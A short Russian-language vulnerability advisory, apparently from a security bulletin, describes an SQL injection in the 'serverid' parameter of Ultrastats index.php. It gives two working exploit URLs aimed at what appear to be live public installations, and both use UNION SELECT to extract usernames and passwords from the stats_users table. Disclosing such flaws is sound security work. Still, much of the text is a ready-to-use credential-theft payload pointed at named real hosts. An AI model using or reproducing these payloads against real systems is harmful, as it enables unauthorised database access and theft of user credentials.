Программа: Ultrastats 0.2.144/0.3.11
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «serverid» сценарием index.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.
Эксплоит:
v. 0.3.11:
http://cod2demo.ultrastats.org/index.php?serverid=2+union+select+0,1,concat(username,0x3a,password),3+from+stats_users--
v. 0.2.144:
http://www.ultrastats.x2server4u.de/index.php?serverid=6+union+select+0,1,concat(username,0x3a,password),3+from+stats_users--
